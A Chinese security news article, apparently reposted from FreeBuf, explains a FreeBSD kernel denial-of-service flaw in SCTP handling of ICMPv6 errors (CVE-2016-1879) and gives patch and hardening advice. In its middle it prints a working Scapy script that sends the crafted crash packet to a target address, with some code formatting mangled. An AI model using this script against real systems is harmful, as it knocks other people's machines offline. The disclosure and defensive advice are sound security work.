安全動態(tài)

FreeBSD遠程DoS攻擊的利用分析(CVE-2016-1879)

來源:聚銘網(wǎng)絡    發(fā)布時間:2016-02-06    瀏覽次數(shù):
 

信息來源:FreeBuf  

FreeBSD團隊宣布他們的操作系統(tǒng)存在嚴重的漏洞,黑客可以利用這個漏洞進行DoS(拒絕服務)攻擊,提權或竊取系統(tǒng)敏感信息。

SCTP ICMPv6錯誤處理漏洞 (CVE-2016-1879)

SCTP (流控制傳輸協(xié)議)是一種傳輸層協(xié)議,它可以用來在IP環(huán)境中傳輸信號。通常,移動運營商會在技術網(wǎng)絡中使用這個協(xié)議。

這個漏洞影響了FreeBSD系統(tǒng)的數(shù)個版本(9.3、10.1、10.2),如果它們支持SCTP和IPV6就會中招(這其實是系統(tǒng)默認配置)。黑客利用這個漏洞,需要發(fā)送一個精心構造的ICMPv6消息。如果漏洞利用成功,就可以對系統(tǒng)進行DoS攻擊。

DoS攻擊是由于系統(tǒng)對來自ICMPv6的錯誤消息,并沒有仔細檢查其中SCTP包頭部的長度。如果目標接收者不存在,路由會生成一個錯誤信息,通過ICMPv6反饋給發(fā)送人。

該ICMPv6包括原始的IPv6包,其中的Next Header區(qū)域會顯示SCTP是如何封裝的:

在系統(tǒng)內(nèi)核接收了通過ICMPv6發(fā)送來的錯誤消息時,它會將上層協(xié)議包傳輸?shù)奖匾慕馕銎鱯ctp6_ctlinput()里。SCTP解析器將傳入的頭部誤認為是合法長度,然后會試圖用m_copydata()將它copy,里面存有偏移值和字節(jié)數(shù)值。本來系統(tǒng)預計消息的頭部長度是12個字節(jié),但是黑客可能就給它發(fā)送了一個長為11字節(jié)的頭部,最后空指針的引用就導致了內(nèi)核崩潰。

漏洞利用代碼

利用這個漏洞時,我們并不需要開放的SCTP套接字。神奇的Scapy會幫助我們,創(chuàng)建漏洞利用所需的ICMPv6數(shù)據(jù)包(這里編輯器代碼排版縮進如下,有需求請自行調(diào)整):

#!/usr/bin/env python # -*- coding: utf-8 -*-   import argparse from scapy.all import *
 
  def get_args():     parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
    parser.add_argument("-m""--dst_mac", type=str, help="FreeBSD mac address")
    parser.add_argument("-i""--dst_ipv6", type=str, help="FreeBSD IPv6 address")
    parser.add_argument("-I""--iface", type=str, help="Iface")
    options = parser.parse_args()
 
    if options.dst_mac is None or options.dst_ipv6 is None:
        parser.print_help()
        exit()
 
    return options
 
  if __name__ == '__main__':
    options = get_args()
 
    sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
                                                                                               src=options.dst_ipv6,
                                                                                               dst='fe80::230:56ff:fea6:648c'),
          iface=options.iface)

下面是攻擊演示的視頻:

修復和安全建議

為了保護您的系統(tǒng)不受該漏洞的侵害,我們建議您這么做: 

如果不需要IPv6,請將其禁用。
在防火墻禁用ICMPv6或者IPv6流量。
如果用不上的話,請禁用系統(tǒng)內(nèi)核對SCTP堆棧的支持(需要重新編譯內(nèi)核)。

修復漏洞,您可以使用供應商的補丁,安裝對SCTP ICMPv6消息的額外校驗,這里也需要重新編譯內(nèi)核。

其他漏洞相關

此外,F(xiàn)reeBSD系統(tǒng)還爆出了其他嚴重漏洞,官方開發(fā)人員為它們發(fā)布了補丁。

1.存在這么一個漏洞,如果系統(tǒng)啟用了TCP_MD5SIG和TCP_NOOPT,黑客通過TCP連接可以對系統(tǒng)進行DoS攻擊。他們只需要某個TCP_NOOPT啟用的監(jiān)聽套接字,就能利用這個漏洞(CVE-2016-1882補丁)。

2.Linux下Robust Futex錯誤,會導致系統(tǒng)內(nèi)存數(shù)據(jù)泄露(CVE-2016-1880補丁)。

3.不安全的默認配置,導致了黑客可以訪問守護進程配置文件/etc/bsnmpd.conf(CVE-2015-5677補丁)。

為了保護您的系統(tǒng)不受漏洞侵害,強烈建議您在進行安全配置之后再使用IPv6地址,并安裝好相應的安全工具來保護系統(tǒng)安全。

*參考來源:PTsec,F(xiàn)B小編dawner編譯,轉載請注明來自FreeBuf黑客與極客(FreeBuf.COM)


 
 

上一篇:“綠色”并不代表安全,一個隱藏在綠色軟件中的木馬分析

下一篇:OpenSSL修復加密漏洞、加強Logjam防御